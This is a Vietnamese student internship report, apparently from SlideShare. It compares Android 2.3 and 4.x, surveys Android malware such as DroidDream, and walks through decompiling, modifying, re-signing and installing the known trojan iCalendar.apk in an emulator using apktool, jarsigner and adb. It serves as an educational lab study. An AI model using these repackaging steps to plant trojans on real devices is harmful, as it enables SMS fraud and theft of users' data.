SlideShare a Scribd company logo
1 of 50
BÁO CÁO ĐỀ TÀI THỰC TẬP
NGHIÊN CỨU CÁC TROJAN, MALWARE CHO PHÉP ĐÁNH
CẮP DỮ LIỆU NHƯ DANH SÁCH CONTACT, TIN NHẮN
TRÊN ĐIỆN THOẠI SỬ DỤNG ANDROID VÀ GỬI RA NGOÀI
GVHD:VÕ TẤT THẮNG
SVTH:NGUYỄN HOÀNG ANH
NỘI DUNG:
I. Tìm hiểu và cài đặt hệ điều hành Android 2.3 và 4.x trên môi trường giả lập.
1. Lịch sử phát triển và đặc điểm của hệ điều hành Android
2. Cài đặt
II. So sánh sự khác nhau giữa hai phiên bản Android 2.3 và 4.x.
1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt.
2. Sự khác nhau về giao diện.
3. Sự khác nhau về tính năng.
4. Sự khác nhau về giao thức mạng.
III. Nghiên cứu các chương trình có mã độc trên Android và nghiên cứu
cài đặt backdoor, trojan lên Android (iCalendar)
1.Định nghĩa
2.Mã độc trong môi trường Android:
3.Tính bảo mật trong Android
4 Thực trạng
5. Nghiên cứu lỗ hổng bảo mật trên Android.
5.1. Malware trên Android.
5.2 Cơ chế hoạt động của Malware.
6. Cài đặt trojan , backdoor trên thiết bị Android (iCalendar)
IV. Nghiên cứu Kali Linux – các cơ chế tạo mã độc trên Kali –Linux , từ đó xâm nhập
thẻ Sd card, kích hoạt camera, ghi âm trên thiết bị, sau đó truyền dữ liệu về máy điều
khiển từ xa
1 Tìm hiểu Kali Linux
2 Cài đặt Kali Linux trên máy ảo VMWare
3 Tạo mã độc trên Kali Linux để xâm nhập Android
I.Tìm hiểu và cài đặt hệ điều hành Android 2.3 và 4.x trên môi trường giả lập.
1. Lịch sử phát triển và đặc điểm của hệ điều hành Android
Lịch sử
Tổng công ty Android (Android, Inc.) được thành lập tại Palo Alto, California vào
tháng 10 năm 2003 bởi Andy Rubin (đồng sáng lập công ty Danger), Rich Miner
(đồng sáng lập Tổng công ty Viễn thông Wildfire), Nick Sears (từng là Phó giám đốc
T-Mobile), và Chris White (trưởng thiết kế và giao diện tại WebTV) để phát triển,
theo lời của Rubin, "các thiết bị di động thông minh hơn có thể biết được vị trí và sở
thích của người dùng". Dù những người thành lập và nhân viên đều là những người có
tiếng tăm, Tổng công ty Android hoạt động một cách âm thầm, chỉ tiết lộ rằng họ đang
làm phần mềm dành cho điện thoại di động. Trong năm đó, Rubin hết kinh phí. Steve
Perlman, một người bạn thân của Rubin, mang cho ông 10.000 USD tiền mặt nhưng từ
chối tham gia vào công ty.
Google mua lại Tổng công ty Android vào ngày 17 tháng 8 năm 2005, biến nó thành
một bộ phận trực thuộc Google. Những nhân viên của chủ chốt của Tổng công ty
Android, gồm Rubin, Miner và White, vẫn tiếp tục ở lại công ty làm việc sau thương
vụ này. Vào thời điểm đó không có nhiều thông tin về Tổng công ty, nhưng nhiều
người đồn đoán rằng Google dự tính tham gia thị trường điện thoại di động sau bước đi
này. Tại Google, nhóm do Rubin đứng đầu đã phát triển một nền tảng thiết bị di động
phát triển trên nền nhân Linux. Google quảng bá nền tảng này cho các nhà sản xuất
điện thoại và các nhà mạng với lời hứa sẽ cung cấp một hệ thống uyển chuyển và có
khả năng nâng cấp. Google đã liên hệ với hàng loạt hãng phần cứng cũng như đối tác
phần mềm, bắn tin cho các nhà mạng rằng họ sẵn sàng hợp tác với các cấp độ khác
nhau.
Ngày càng nhiều suy đoán rằng Google sẽ tham gia thị trường điện thoại di động xuất
hiện trong tháng 12 năm 2006. Tin tức của BBC và Nhật báo phố Wall chú thích rằng
Google muốn đưa công nghệ tìm kiếm và các ứng dụng của họ vào điện thoại di động
và họ đang nỗ lực làm việc để thực hiện điều này. Các phương tiện truyền thông truyền
thống lẫn online cũng viết về tin đồn rằng Google đang phát triển một thiết bị cầm tay
mang thương hiệu Google. Một vài tờ báo còn nói rằng trong khi Google vẫn đang
thực hiện những bản mô tả kỹ thuật chi tiết, họ đã trình diễn sản phẩm mẫu cho các
nhà sản xuất điện thoại di động và nhà mạng. Tháng 9 năm 2007, InformationWeek
đăng tải một nghiên cứu của Evalueserve cho biết Google đã nộp một số đơn xin cấp
bằng sáng chế trong lĩnh vực điện thoại di động.
Ngày 5/11/2007, Liên minh thiết bị cầm tay mở (Open Handset Alliance), một hiệp hội
bao gồm nhiều công ty trong đó có Texas Instruments,Tập đoàn Broadcom, Google,
HTC, Intel, LG, Tập đoàn MarvellTechnology, Motorola, Nvidia, Qualcomm,
Samsung Electronics, Sprint Nextel và T-Mobile được thành lập với mục đích phát
triển các tiêu chuẩn mở cho thiết bị di động. Cùng ngày , Android cũng được ra mắt
với vai trò là sản phẩm đầu tiên của Liên minh, một nền tảng thiết bị di động được xây
dựng trên nhân Linux phiên bản 2.6. Chiếc điện thoại chạy Android đầu tiên được bán
ra là HTC Dream, phát hành ngày 22 tháng 10 năm 2008. Biểu tượng của hệ điều
hành Android mới là một con rôbốt màu xanh lá cây do hãng thiết kế Irina Blok tại
California vẽ.
Từ năm 2008, Android đã trải qua nhiều lần cập nhật để dần dần cải tiến hệ điều hành,
bổ sung các tính năng mới và sửa các lỗi trong những lần phát hành trước. Mỗi bản
nâng cấp được đặt tên lần lượt theo thứ tự bảng chữ cái, theo tên của một món ăn tráng
miệng ; ví dụ như phiên bản 1.5 Cupcake (bánh bông lan nhỏ có kem) tiếp nối bằng
phiên bản 1.6 Donut (bánh vòng). Phiên bản mới nhất là 4.2 Jelly Bean (kẹo dẻo). Vào
năm 2010, Google ra mắt loạt thiết bị Nexus - một dòng sản phẩm bao gồm điện thoại
thông minh và máy tính bảng chạy hệ điều hành Android, do các đối tác phần cứng sản
xuất. HTC đã hợp tác với Google trong chiếc điện thoại thông minh Nexus đầu tiên,
Nexus One. Kể từ đó nhiều thiết bị mới hơn đã gia nhập vào dòng sản phẩm này, như
điện thoại Nexus 4 và máy tính bảng Nexus 10, lần lượt do LG và Samsung sản xuất.
Google xem điện thoại và máy tính bảng Nexus là những thiết bị Android chủ lực của
mình, với những tính năng phần cứng và phần mềm mới nhất của Android.
Đặc điểm
1. Tính mở. Android được xây dựng từ dưới đi lên cho phép người phát triển tạo các
ứng dụng di động hấp dẫn với đầy đủ các điểm mạnh của các thiết bị cầm tay hiện có.
Android hoàn toàn mở, một ứng dụng có thể gọi tới bất kể một chức năng lõi của điện
thoại như tạo cuộc gọi, gửi tin nhắn hay sử dụng máy ảnh, cho phép người phát triển
tạo phong phú hơn, liên kết hơn các tính năng cho người dùng. Android được xây
dựng trên nhân Linux mở. Thêm nữa, nó sử dụng một máy ảo mà đã được tối ưu hóa
bộ nhớ và phần cứng với môi trường di động. Android mà một mã nguồn mở, nó có
thể được mở rộng để kết hợp tự do giữa các công nghệ nổi trội. Nền tảng này sẽ tiếp
tục phát triển bởi cộng đồng phát triển để tạo ra các ứng dụng di động hoàn hảo.
2. Tính ngang bằng của các ứng dụng. Với Android, không có sự khác nhau giữa các
ứng dụng điện thoại cơ bản với ứng dụng của bên thứ ba. Chúng được xây dựng để
truy cập như nhau tới một loạt các ứng dụng và dịch vụ của điện thoại. Với các thiết bị
được xây dựng trên nền tảng Android, người dùng có thể đáp ứng đầy đủ các nhu cầu
mà họ thích. Chúng ta có thể đổi màn hình nền, kiểu gọi điện thoại, hay bất kể ứng
dụng nào. Chúng ta thậm chí có thể hướng dẫn điện thoại chỉ xem những ảnh mình
thích.
3. Phá vỡ rào cản phát triển ứng dụng. Android phá vỡ rào cản để tạo ứng dụng mới và
cải tiến. Một người phát triển có thể kết hợp thông tin từ trang web với dữ liệu trên
điện thoại cá nhân – chẳng hạn như danh bạ, lịch hay vị trí trên bản đồ – để cung cấp
chính xác hơn cho người khác. Với Android, người phát triển có thể xây dựng một ứng
dụng mà cho phép người dùng xem vị trí của những người bạn và thông báo khi họ
đang ở vị trí lân cận. Tất cả được lập trình dễ dàng thông qua sự hỗ trợ của MapView
và dịch vụ định vị toàn cầu GPS.
4. Xây dựng ứng dụng dễ dàng và nhanh chóng Android cung cấp bộ thư viện giao
diện lập trình ứng dụng đồ sộ và các công cụ để viết các ứng dụng phức tạp. Ví dụ,
Android có thể cho phép người phát triển biết được vị trí của thiết bị và cho phép các
thiết bị giao tiếp với nhau để có thể tạo nên mạng xã hội chia sẻ ngang hàng rộng khắp.
Thêm nữa, Android còn bao gồm một bộ công cụ đầy đủ giúp cho việc phát triển trở
nên dễ dàng.
2. Cài đặt hệ điều hành Android 2.3 và 4.x trên môi trường giả lập
Cài đặt Java JDK.
Để giả lập thiết bị Android chúng ta cần cài đặt các công cụ giả lập là bộ công cụ
phát triển java (java JDK) và phần mềm giả lập Android (Android SDK).
Bạn có thể download bộ JDK 8 (mới nhất) tại địa chỉ
http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-
2133151.html
Chọn 1 trong 2 phiên bản x86 hoặc x64 tùy vào phiên bản Windows của máy (x64
đối với 64 bit và x86 đối với x86).
Chạy file vừa tải về để cài đặt
Việc cài đặt khá đơn giản, ta chỉ việc nhấn next và chờ cài đặt xong
Chọn nơi để cài đặt JDK
Sau khi cài xongta có thể kiểm tra lại xem bộ JDK đã cài được trên máy tính của
bạn chưa bẳng cách vào CMD và gõ lệnh: “java”
Nếu màn hình hiện ra như sau là ta đã hoàn thành bước này:
2. Cài đặt android SDK
Để download ta vào link : http://developer.android.com/sdk/index.html
Nhớ lựa chọn phiên bản phù hợp với windows của mình
Tải về và giải nén file zip để có thư mục
Trong thư mục, nhấp vài SDK manager
Công việc tiếp theo là download các gói hỗ trợ như: Android SDK Buil-tools,
Android SDK, Platform-tools, các phiên bản Android và các gói hỗ trợ khác…
Đánh dấu phần cần download, download Android SDK Tools, Android SDK
Platform tools, Android SDK Build-tools,
Download Android Platform và ARM image ở Androi 4.0 và 2.3.3
3. Tạo máy ảo Android (Android Virtual Device)
Ở SDK manager vào Tools chọn Manage AVD
Click vào New để tạo máy ảo android
Điền vào các thống số cho máy ảo như tên, phiên bản Android (4.0 hoặc 2.3 ...),
Ram, dung lượng bộ nhớ trong, ngoài .... Nhớ đánh dấu vào Use Host GPU.
Tạo xong click vào Start để khởi động máy ảo
Đợi máy ảo khởi động xong là ta đã có máy ảo Android trên màn hình:
II. So sánh sự khác nhau giữa hai phiên bản Android 2.3 và 4.x.
1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt.
Android 2.3 Android 4x
Cần ít nhất 128 MB bộ nhớ có sẵn cho
Kernel và cho không gian người sử dụng
Cần ít nhất 340 MB bộ nhớ có sẵn cho
kernel và cho không gian người sử dụng
Dung lượng Ram tối thiểu cần thiết là
150MB
Dung lượng Ram tối thiểu cần thiết là 350
MB
Màn hình:
- Màn hình phải có kích cỡ ít nhất
2,5 inch
- Mật độ phải được ít nhất 100 dpi
- Tỉ lệ màn hình từ 1.333 (4:3) đến
1,779 (16:9)
- Công nghệ màn hình được sử dụng
là công nghệ “ Square pixels”
Màn hình:
- Màn hình phải có kích cỡ ít nhất
426x320
- Mật độ phải được ít nhất 100 dpi
- Tỉ lệ màn hình từ 1.333 (4:3) đến
1,85 (16:9)
Yêu cầu có các phím vậy lý Không yêu cầu có có phím vật lý
Các API Android bao gồm trình quản lý
download các ứng dụng có thể sử dụng để
tải dữ liệu.Trình quản lí download phải có
khả năng tải tập tin có dung lượng ít nhất
55 MB
Các API Android bao gồm trình quản lý
download các ứng dụng có thể sử dụng để
tải dữ liệu.Trình quản lí download phải có
khả năng tải tập tin có dung lượng ít nhất
100 MB
2. Sự khác nhau về giao diện.
Giao diện người dùng của Android dựa trên nguyên tắc tác động trực tiếp, sử dụng
cảm ứng chạm tương tự như những động tác ngoài đời thực như vuốt, chạm, kéo
dãn và thu lại để xử lý các đối tượng trên màn hình. Sự phản ứng với tác động của
người dùng diễn ra gần như ngay lập tức, nhằm tạo ra giao diện cảm ứng mượt mà,
thường dùng tính năng rung của thiết bị để tạo phản hồi rung cho người dùng.
Những thiết bị phần cứng bên trong như gia tốc kế, con quay hồi chuyển và cảm
biến khoảng cách được một số ứng dụng sử dụng để phản hồi một số hành động
khác của người dùng, ví dụ như điều chỉnh màn hình từ chế độ hiển thị dọc sang chế
độ hiển thị ngang tùy theo vị trí của thiết bị, hoặc cho phép người dùng lái xe đua
bằng xoay thiết bị, giống như Các thiết bị Android sau khi khởi động sẽ hiển thị
màn hình chính, điểm khởi đầu với các thông tin chính trên thiết bị,
tương tự như khái niệm desktop (bàn làm việc) trên máy tính để bàn. Màn hính
chính Android thường gồm nhiều biểu tượng (icon) và tiện ích (widget); biểu tượng
ứng dụng sẽ mở ứng dụng tương ứng, còn tiện ích hiển thị những nội dung sống
động, cập nhật tự động như dự báo thời tiết, hộp thư của người dùng, hoặc những
mẩu tin thời sự ngay trên màn hình chính. Màn hình chính có thể gồm nhiều trang
xem được bằng cách vuốt ra trước hoặc sau, mặc dù giao diện màn hình chính của
Android có thể tùy chỉnh ở mức cao, cho phép người dùng tự do sắp đặt hình dáng
cũng như hành vi của thiết bị theo sở thích. Những ứng dụng do các hãng thứ ba có
trên Google Play và các kho ứng dụng khác còn cho phép người dùng thay đổi
"chủ đề" của màn hình chính, thậm chí bắt chước hình dáng của hệ điều hành khác
như Windows Phone chẳng hạn. Phần lớn những nhà sản xuất, và một số nhà mạng,
thực hiện thay đổi hình dáng và hành vi của các thiết bị Android của họ để phân biệt
với các hãng cạnh tranh. Ở phía trên cùng màn hình là thanh trạng thái, hiển thị
thông tin về thiết bị và tình trạng kết nối. Thanh trạng thái này có thể "kéo"
xuống để xem màn hình thông báo gồm thông tin quan trọng hoặc cập nhật của các
ứng dụng, như email hay tin nhắn SMS mới nhận, mà không làm gián đoạn hoặc
khiến người dùng cảm thấy bất tiện. Trong các phiên bản đời đầu, người dùng có
thể nhấn vào thông báo để mở ra ứng dụng tương ứng, về sau này các thông tin cập
nhật được bổ sung theo tính năng, như có khả năng lập tức gọi ngược lại khi có
cuộc gọi nhỡ mà không cần phải mở ứng dụng gọi điện ra. Thông báo sẽ luôn nằm
đó cho đến khi người dùng đã đọc hoặc xóa nó đi.
Android 2.3 Android 4x
Giao diện đơn giản Giao diện tinh tế hơn, trong suốt và đẹp
mắt hơn
Chỉ hỗ trợ phím ảo là phím Home Hỗ trợ các phím ảo: Home, Back, Menu
Không có widget menu Có Widget menu giúp tìm nhanh thông
tin mà không cần mở ứng dụng
3. Sự khác nhau về tính năng.
Android 2.3 Android 4x
Thiết kế tối ưu hóa cho Smartphone Thiết kế tối ưu hóa cho Smartphone và
Tablet
Chỉ có thể xóa tất các các thông báo cùng
lúc trên trình quản lý
Chỉ có thể xóa riêng rẽ các thông báo
cùng lúc trên trình quản lý
Chỉ có thể trả lời, ngắt cuộc gọi khi màn
hình bị khóa
Có thể thực hiện thêm 1 số tính năng khi
màn hình bị khoái ngoài trả lời , ngắt
cuộc gọi như gửi tin nhắn
Không có tính năng mở khóa màn hình
nhận diện khuôn mặt
Có tính năng mở khóa màn hình nhận
diện khuôn mặt
Không hỗ trợ chỉnh sửa hình ảnh Hỗ trợ chỉnh sửa hình ảnh , tự động nhận
diện được tất cả các camera trên thiết bị
4. Sự khác nhau về giao thức mạng.
Android 2.3 Android 4x
Không hỗ trợ giao thức https Hỗ trợ giao thức https
III. Nghiên cứu các chương trình có mã độc trên Android và nghiên cứu
cài đặt backdoor, trojan lên Android (iCalendar)
1.Định nghĩa:
Nghiên cứu các chương trình có mã độc trên Android và nghiên cứu cài đặt
backdoor, trojan lên Android (iCalendar)
Nghiên cứu các chương trình có mã độc trên Android và nghiên cứu cài đặt
backdoor, trojan lên Android (iCalendar)
1.Định nghĩa:
Mã độc là một đoạn code được đưa vào phần mềm nhằm thay đổi các thực thi của
hệ điều hành hoặc các chương trình bảo vệ máy tính mà không cần sự cho phép
của người sử dụng. Bằng cách này, phần mềm có chứa mã độc sẽ gây hại cho hệ
điều hành cũng như các chương trình ứng dụng và người dùng thiết bị.
2.Mã độc trong môi trường Android:
Android là một môi trường lý tưởng cho mã độc phát triển vì:
Phần lớn các smartphone đều hỗ trợ các ứng dụng email, internet baking…Sử dụng
các ứng dụng này đồng nghĩa với việc cung cấp thông tin cá nhân.
Android hiện tại giữ vị trí số một trong các hệ điều hành dành cho smartphone và
máy tính bảng.
Android là một hệ điều hành mở.
Mục tiêu của mã độc Android:
Có nhiều cách phân loại mã độc trong android:
Nghiên cứu của Troy Vennon dựa vào cách hoạt động lây nhiễm của mã độc đã
chia ra làm bốn loại.
Nghiên cứu của K.H.Khan & M.N.Tahir phân loai mã độc làm 6 nhóm.
Trang web forenics chuyên nghiên cứu về mã độc dựa vào mục tiêu của mã độc để
chia ra làm 9 họ:
Đánh cấp thông tin cá nhân 51,3%
Gửi tin nhắn trái phép (IMEL,..) 30,1%
Botnet(spam, thư rác,..) 23,5%
Truy cập Root 18,3%
Tải từ Google-Play 11,3%
Cài đặt các ứng dụng khác 10,4%
Đánh cấp định vị của người dùng 8,7%
Cài đặt các ứng dụng hỗ trợ hacker 7,8%
Trojans (tiếp cận các dịch vụ ngân hàng trực
tiếp)
3,5%
3.Tính bảo mật trong Android
Các ứng dụng android được tách biệt với nhau trong quá trình thực thi.
Các ứng dụng android được phân biệt bởi system ID.
Các ứng dụng android phải được signing mới có thể cài đặt vào hệ thồng.
Bảo mật trong android được thể hiện qua cơ chế “Permission”
Cơ chế Permission:
Bất cứ những tác vụ nào gây ảnh hưởng cho các ứng dụng khác, hệ điều hành và
người sử dụng thiết bị đều đươc bảo vệ bởi cơ chế Permission, ví dụ như đọc gửi
tin nhắn, truy cập mạng, thực hiện cuộc gọi, truy cập vào thông tin cá nhân,..Nói
cách khác người lập trinh ứng dụng sẽ khai báo Permission cho những nguông tài
nguyên này sẽ được thông báo đến người dùng trước khi cài đặt ứng dụng.
Google Play:
Kiểm soát các mã độc trên ứng dụng.
4.Thực trạng
Một báo cáo mới vừa được công bố, cho thấy mức độ nghiêm trọng của mã độc
trên Android - hệ điều hành di động phổ biến nhất thế giới có đến 99,9% số lượng
mã độc mới được phát hiện trong quý I năm 2013 được thiết kế để nhắm đến nền
tảng Android. Đây là một con số báo động về tình trạng mã độc trên nền tảng di
động của Google vừa được hãng bảo mật Kaspersky Lab công bố.
Phần lớn trong số các loại mã độc trên Android là virus trojan, một dạng virus chủ
yếu để sử dụng để đánh cắp tiền của người dùng bị lây nhiễm bằng cách gửi đến họ
những tin nhắn lừa đảo, đọc lén các thông tin cần thiết và gửi báo cáo đến nơi
khác, ăn cắp thông tin như là mật khẩu và số thẻ tín dụng, cài đặt lén các phần
mềm chưa được cho phép, ….. Loại mã độc này chiếm đến 63% tổng số các loại
mã độc mới được phát tán trên Android trong quý I năm 2013.
Các nhà nghiên cứu bảo mật của Kaspersky cũng báo cáo một sự bùng nồ về số
lượng các mã độc hại trên di động. Theo đó chỉ tính riêng trong 3 tháng đầu năm
2013, Kaspersky đã phát hiện được số lượng mã độc mới trên các nền tảng di động
bằng tổng số lượng mã độc được phát hiện trong cả năm 2012 mà Android là nền
tảng chịu ảnh hưởng nặng nhất.
Với việc Android tiếp tục trở thành “mồi ngon” của hacker trong việc phát tán các
loại mã độc, có vẻ như Android đang dần trở thành một “Windows thứ 2” trên lĩnh
vực bảo mật, khi sự phổ biến của nền tảng này đang thu hút tối đa sự chú ý của các
tin tặc, đồng thời việc quản lý các ứng dụng cho Android một cách lỏng lẻo càng
tạo điều kiện cho mã độc được phát tán dễ dàng hơn trên nền tảng di động này.
Bên cạnh lĩnh vực mã độc trên nền tảng di động, báo cáo về tình trạng bảo mật
trong quý 1/2013 của Kaspersky cũng cho biết 91% các vụ phát tán mã độc chủ
yếu dựa vào việc phát tán các đường link trang web có chứa mã độc. Các đường
link có chứa mã độc này chủ yếu được phát tán thông qua email và trên các mạng
xã hội như Facebook, Twitter… Đây được xem là biện pháp được yêu thích nhất
hiện nay của hacker.
Con số cụ thể các loại mã độc (bao gồm cả trên nền tảng di động và các nền tảng
khác) đã được Kaspersky phát hiện và vô hiệu hóa trong quý I năm 2013 là
1.345.570..352 mã độc (hơn 1 tỉ mã độc). Trong đó có hơn 60% các loại mã độc
phát tán từ 3 quốc giá: Mĩ (25%), Nga (19%) và Hà Lan (14%).
5. Nghiên cứu lỗ hổng bảo mật trên Android.
5.1. Malware trên Android.
Malware không chỉ mối lo ngại với người dùng máy tính mà bây giờ còn lấn sang cả
hệ điều hành dành cho smartphone, đặc biệt là Android.
Malware (phần mềm ác tính) viết tắt của cụm từ Malicious Sofware, là một phần
mềm máy tính được thiết kế với mục đích thâm nhập hoặc gây hỏng hóc máy tính
mà người sử dụng không hề hay biết. Người viết nên nó ban đầu chỉ tập trung vào
máy tính, nhất là Windows khi nó chiếm đến 90% tổng số Malware xuất hiện trên
các nền tảng, bên cạnh đó là các OS khác như Linux, Chrome OS, MacOs... nhưng
không đáng kể. Tuy nhiên giờ đây khi Smartphone đang ngày càng phát triển và
phổ biến dần thay thế máy tính từ các công việc soạn thảo văn bản, giải trí đến giao
dịch ngân hàng thì nó trở thành mục tiêu tấn công của Malware.
Theo thống kê của các hãng bảo mật trên thế giới thì hiện các Malware hiện nay
mới chỉ dừng lại ở mức độ xâm nhập và ăn cắp thông tin của người dùng và nó
chưa có cơ chế lây lan. Theo các kết quả trên thì Malware trên Smartphone hiện
nay về cách thức hoạt động giống như một phần mềm gián điệp (Trojan), phần lớn
nhắm vào dịch vụ Mobile Banking trên Smartphone để lấy cắp thông tin, các thao
tác xác nhận... thông qua việc sử dụng SMS Spy, tức là theo dõi tin nhắn SMS khi
bạn thực hiện giao dịch với ngân hàng. Bên cạnh đó là nhằm vào các cuộc gọi thực
hiện trên máy bạn, tắt một số dịch vụ để dễ kiểm soát.
5.2 Cơ chế hoạt động của Malware.
Lấy một ví dụ cụ thể về 1 Malware rất phổ biến trong thời gian vừa qua đó là
Malware DroidDream. Malware này hoạt động qua 2 giai đoạn:
- Giai đoạn đầu: DroidDream được nhúng vào trong một ứng dụng (số lượng ứng
dụng chứa Malware này hiện đã nhiều hơn 50 ứng dụng) và sẽ chiếm được quyền
root vào thiết bị của bạn ngay sau khi bạn chạy ứng dụng đó trong lần sử dụng đầu
tiên.
- Giai đoạn 2 : Tự động cài đặt một ứng dụng thứ 2 với một permission đặc biệt
cho phép quyền uninstall. Một khi các ứng dụng thứ 2 được cài đặt, nó có thể gửi
các thông tin nhạy cảm tới một máy chủ từ xa và âm thầm tải thêm các ứng dụng
khác Một khi DroidDream chiếm được quyền root, Malware này sẽ chờ đợi và âm
thầm cài đặt một ứng dụng thứ hai, DownloadProviderManager.apk như một ứng
dụng hệ thống. Việc cài đặt ứng dụng hệ thống này nhằm ngăn ngừa người dùng
xem hoặc gỡ bỏ cài đặt các ứng dụng mà không được phép.
Không giống như giai đoạn đầu, người dùng phải khởi động ứng dụng để bắt đầu
việc lây nhiễm, ở giai đoạn thứ 2 ứng dụng tự động làm một số việc như là
confirm, checkin….Một điều nữa khiến cho bạn không thể biết chúng hoạt động
lúc nào, đó là Malware DroidDream này được lập trình để làm hầu hết các công
việc của mình vào khoảng thời gian từ 11h đêm tới 8h sáng ngày hôm sau. Đây là
khoảng thời gian mà điện thoại ít có khả năng được sử dụng nhất. Điều này làm
cho người dùng khó khăn hơn trong việc phát hiện một hành vi bất thường trên
chiếc smartphone của mình.
5.3.Mục đích của Malware DroidDream
DroidDream được coi là một trong những Malware đầu tiên trên Android, mục
đích của con DroidDream này mới chỉ dừng lại ở mức độ làm cho chiếc điện thoại
của người dùng tự động cài đặt những ứng dụng chứa mã độc khác. Tuy nhiên các
biến thể của nó đã kịp thời biến đổi để gây ra các mối nguy hại lớn hơn rất nhiều.
Ví dụ như Hippo SMS được tìm thấy mới đây có khả năng tự gửi tin nhắn mà
không cần sự cho phép của người dùng, việc này sẽ khiến tiền cước phí của người
dùng tăng lên một cách chóng mặt mà người dùng không biết rõ lí do tại sao. Hoặc
một Malware khác là Zitmo, Malware này đưa ra các ứng dụng kích hoạt mọi hành
động liên quan đến dịch vụ ngân hàng, tiếp nhận SMS gửi đến và chuyển tới máy
chủ. Các đoạn code dùng 1 lần mà các ngân hàng thường gửi tới khách hàng thông
qua tin nhắn SMS để chứng thực sẽ bị thu thập bởi các malware này.
Hiện nay còn có một số Malware còn có khả năng nghe lén tất cả các cuộc điện
thoại. Vấn đề này thực sự nguy hiểm khi tất cả các vấn đề riêng tư của chúng ta
đang bị một theo dõi, vì vậy những mối nguy hiểm từ mã độc trên android đang
thực sự đe dọa đến an sự an toàn của người dùng hệ điều hành này.
6. Cài đặt trojan trên Android (iCalendar)
Các công cụ cần thiết:
apktool: giải mã các file .apk và .rar, đóng gói apk phục vụ cho việc tùy chỉnh
sửa đổi các file đó. https://code.google.com/p/android-apktool/
dex2jar: dịch file .apk thành file .jar. https://code.google.com/p/dex2jar/
id-gui: đọc code java từ file .jar.
https://code.google.com/p/innlab/downloads/detail?name=jd-gui-
0.3.3.windows.zip&can=2&q=2
File iCalendar.apk, một trong 11 ứng dụng bị gỡ bỏ khỏi Android Market do có
chứa malware.
Các bước thực hiện:
1. Dùng phần mềm WinZip giải nén file classes.dex trong iCalendar.apk vào
folder chứa công cụ dex2jar.
2. Vào command windows, vào trong thư mục dex2jar để thực hiện câu lệnh
sau: dex2jar classes.dex
Câu lệnh này chuyển đổi file classes.dex thành file classes_dex2jar.jar.
3. Dùng công cụ id-gui để mở file classes_dex2jar.jar có được ở bước 2 để
xem source code của ứng dụng iCalendar.
4. Vào command windows, vào trong thư mục chứa apktool (phải chứa sẵn
iCalendar.apk) và nhập 2 lệnh sau:
apktool if iCalendar.apk
apktool d iCalendar.apk
Ta được kết quả:
Truy cập vào thư mục iCalendar và di chuyển đến thư mục
smalicommjiCalendar
5. Mở file iCalendar.smali và file SmsReceiver.smali bằng Notepad và thực
hiện như hình bên dưới sau đó lưu lại.
6. Vào command windows thực hiện câu lệnh sau để đóng gói ứng dụng
iCalendar đã được chỉnh sửa thành file .apk mới tại thư mục
iCalendardist
apktool b iCalendar
7. Đưa file iCalendar.apk đã tạo ở bước 6 vào thư mục bin nằm trong thư
mục Java
Trên command windows vào thư mục trên và nhập các lệnh sau để verify
(Signing ứng dụng, tạo chữ ký điện tử để thiết bị) gói apk để có thể sử dụng
trên thiết bị (phải chọn run as administrator khi chạy cmd)::
keytool -genkey -v -keystore iCalendar-iCalendar.keystore -alias
iCalendar -keyalg RSA -keysize 2048 -validity 10000
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore
iCalendar-iCalendar.keystore iCalendar.apk iCalendar
jarsigner -verify -verbose -certs iCalendar.apk
Kết quả:
Ta đã verify thành công file apk.
8. Copy file iCalendar.apk vào thư mục platform-tools của Android SDK và
dùng lệnh sau để cài ứng dụng vào giả lập
adb -s emulator-5554 install iCalendar.apk
Vậy ta đã cài đặt thành công lên máy ảo.
9. Kích hoạt Trojan gửi tin nhắn đến máy ảo 5556 (mở ứng dụng iCalendar rồi
click 7 lần).
Kết quả
IV.Nghiên cứu Kali Linux, các cơ chế tạo mã độ trên Kali Linux để xâm nhập
thẻ sd card, camera, ghi âm trên android
Truyền dữ liệu trên thẻ sd card, kích hoạt camera, ghi âm trên android
I. Kali-Linux
Kali Linux là một hệ điều hành được xây dựng trên nhân Linux, được thiết kế để
kiểm tra bảo mật, thử nghiệm xâm nhập các hệ thống máy tính. Tiền thân của Kali
Linux là BackTrack, xuất hiện năm 2006 và được các chuyên gia đánh giá bảo mật
ưa chuộng sử dụng. Sau 7 năm liên tục phát triển, tháng 3 năm 2013, hãng
Offensive Security đã công bố phiên bản mới của BackTrack có thên là Kali Linux
(được xem như phiên bản BackTrack 6). Kali Linux tập hợp và phân loại gần như
tất cả các công cụ thiết yếu mà bất kì chuyên gia đánh giá bảo mật nào cũng cần sử
dụng khi tác nghiệp.
Nói về ưu điểm của Kali là nói về những thay đổi giữa BackTrack và Kali. So
với BackTrack, Kali có rất nhiều cải tiến:
Kali phát triển trên nền tảng hệ điều hành Debian
Điều này có nghĩa Kali có rất nhiều ưu điểm. Đầu tiên là các Repository (Kho lưu
trữ phần mềm) được đồng bộ hóa với các Repository của Debian nên có thể dễ
dàng có được các bản cập nhật vá lỗi bảo mật mới nhất và các cập nhật Repository.
Duy trì cập nhật (up-to-date) đối với các công cụ Penetration Test là một yêu cầu
vô cùng quan trọng.
Một lợi thế khác là mọi công cụ trong Kali đều tuân theo chính sách quản lý gói
của Debian. Điều này có vẻ không quan trọng nhưng nó đảm bảo rõ ràng về mặt
cấu trúc hệ thống tổng thể, nó cũng giúp cho chúng ta có thể dễ dàng hơn trong
việc xem xét hoặc thay đổi mã nguồn của các công cụ.
Tính tương thích kiến trúc
Một ưu điểm quan trọng trong Kali là nó đã cải tiến khả năng tương thích với kiến
trúc ARM. Từ khi Kali xuất hiện, nhiều phiên bản ấn tượng đã được tạo ra. Giờ
đây ta có thể build Kali trên một Raspberry Pi hoặc trên Samsung Galaxy Note.
Hỗ trợ mạng không dây tốt hơn
Một trong những vấn đề được các nhà phát triển Kali chú trọng nhiều nhất, chính
là sự hỗ trợ cho một số lượng lớn phần cứng bên trong các thiết bị mạng không dây
hay USB Dongles. Một yêu cầu quan trọng khi các chuyên gia bảo mật thực hiện
đánh giá mạng không dây.
Khả năng tùy biến cao
Kali rất linh hoạt khi đề cập đến giao diện hoặc khả năng tuỳ biến hệ thống. Đối
với giao diện, giờ đây người dùng đã có thể chọn cho mình nhiều loại Desktops
như GNOME, KDE hoặc XFCE tùy theo sở thích và thói quen sử dụng.
Dễ dàng nâng cấp giữa các phiên bản Kali trong tương lai
Đối với bất cứ ai sử dụng Kali, đây là một tính năng quan trọng khi bảo trì hệ điều
